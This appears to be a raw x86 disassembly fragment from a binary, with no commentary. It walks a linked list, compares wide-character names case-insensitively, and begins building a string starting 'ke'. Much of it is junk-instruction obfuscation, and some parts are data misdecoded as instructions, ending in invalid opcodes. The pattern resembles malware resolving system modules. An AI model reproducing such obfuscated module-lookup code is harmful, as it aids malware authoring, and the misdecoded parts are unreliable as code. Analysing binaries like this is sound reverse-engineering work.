mov dword [ebp - 0x2a8], 0
jmp 0x42cba5
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push eax
jmp 0x42c96f
and eax, 0x6632
add eax, 0x57ee
jmp 0x42c983
pop eax
push ecx
and ecx, 0xf42b
add ecx, 0xa9bf
jmp 0x42c997
pop ecx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push eax
push edx
add esp, 4
sub eax, 0x1318a
pop eax
push edx
call 0x42c9df
add byte [esi + 0x50], al
cmp dword [ecx + edi + 0x33], eax
cmp al, 0x35
xor eax, 0x4c48337
pop edx
push esi
call 0x42c9f0
add byte [ecx + 0x46], al
dec ebx
xor eax, 0xc483334f
add al, 0x5e
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push edi
push edi
add esp, 4
xor edi, 0x179ed
or edi, 0x1112e
sub edi, 0x6fc1
pop edi
push ecx
xor ecx, 0x6343
pop ecx
push esi
push edx
add esp, 4
and esi, 0x21a8
add esi, 0x10853
pop esi
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x42ca9a
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x42caf4
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x42c9c2
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x42c9c2
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x42cade
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x42cae8
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x42cb3d
push edx
and edx, 0x14cde
sub edx, 0x1daf
and edx, 0x3205
pop edx
push ecx
push ecx
add esp, 4
and ecx, 0x17e75
sub ecx, 0x9784
and ecx, 0x4f11
or ecx, 0x73b1
pop ecx
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x42cba5
push edx
push eax
add esp, 4
or edx, 0x119a8
xor edx, 0x87e2
xor edx, 0x8774
sub edx, 0x7fae
pop edx
push ebx
or ebx, 0x749e
add ebx, 0xdf09
add ebx, 0xe09
pop ebx
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x42cb9b
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x42c966
mov dword [ebp - 0x2a8], 0
push esi
push esi
add esp, 4
jmp 0x42cbb1
add esi, 0x110d9
jmp 0x42cbbc
or esi, 0xd17b
pop esi
push esi
push edx
add esp, 4
jmp 0x42cbd0
sub esi, 0x7dd8
pop esi
cmp dword [ebp - 0x2a8], 0
jne 0x42d4dc
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
invalid
jb 0x42cbff
invalid